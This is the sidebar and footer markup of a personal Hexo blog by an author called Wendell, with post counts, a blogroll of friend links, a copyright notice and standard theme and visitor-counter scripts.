          <span class="site-state-item-count">5</span>
          <span class="site-state-item-name">posts</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">3</span>
        <span class="site-state-item-name">categories</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">8</span>
        <span class="site-state-item-name">tags</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/W4ndell" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;W4ndell" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
      </span>
  </div>


  <div class="links-of-blogroll motion-element">
    <div class="links-of-blogroll-title"><i class="fa fa-link fa-fw"></i>
      友情链接
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="http://www.whiskeyjj.com/" title="http:&#x2F;&#x2F;www.whiskeyjj.com&#x2F;" rel="noopener" target="_blank">绝望的肉</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://www.yang99.top/" title="http:&#x2F;&#x2F;www.yang99.top&#x2F;" rel="noopener" target="_blank">Yang_99</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://www.fzwjscj.xyz/" title="http:&#x2F;&#x2F;www.fzwjscj.xyz&#x2F;" rel="noopener" target="_blank">fzwjscj</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://cherryc4t.top/" title="http:&#x2F;&#x2F;cherryc4t.top&#x2F;" rel="noopener" target="_blank">cherryc4t</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://www.7yue.top/" title="http:&#x2F;&#x2F;www.7yue.top&#x2F;" rel="noopener" target="_blank">7yue</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://gh0st.top/" title="http:&#x2F;&#x2F;gh0st.top" rel="noopener" target="_blank">gh0st</a>
        </li>
    </ul>
  </div>

      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 2019 – 
  <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Wendell</span>
</div>
  <div class="powered-by">Powered by <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://mist.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Mist</a>
  </div><script color="0,0,0" opacity="0.5" zIndex="-1" count="99" src="https://cdn.jsdelivr.net/npm/canvas-nest.js@1/dist/canvas-nest.js"></script>

        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
    <span class="post-meta-item" id="busuanzi_container_site_uv" style="display: none;">
      <span class="post-meta-item-icon">
        <i class="fa fa-user"></i>
      </span>
      <span class="site-uv" title="Total Visitors">
        <span id="busuanzi_value_site_uv"></span>
      </span>
    </span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item" id="busuanzi_container_site_pv" style="display: none;">
      <span class="post-meta-item-icon">
        <i class="fa fa-eye"></i>
      </span>
      <span class="site-pv" title="Total Views">
        <span id="busuanzi_value_site_pv"></span>
      </span>
    </span>
</div>








      </div>
    </footer>
  </div>

  
  <script src="//cdn.jsdelivr.net/npm/animejs@3.1.0/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/muse.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  

</body>
</html>
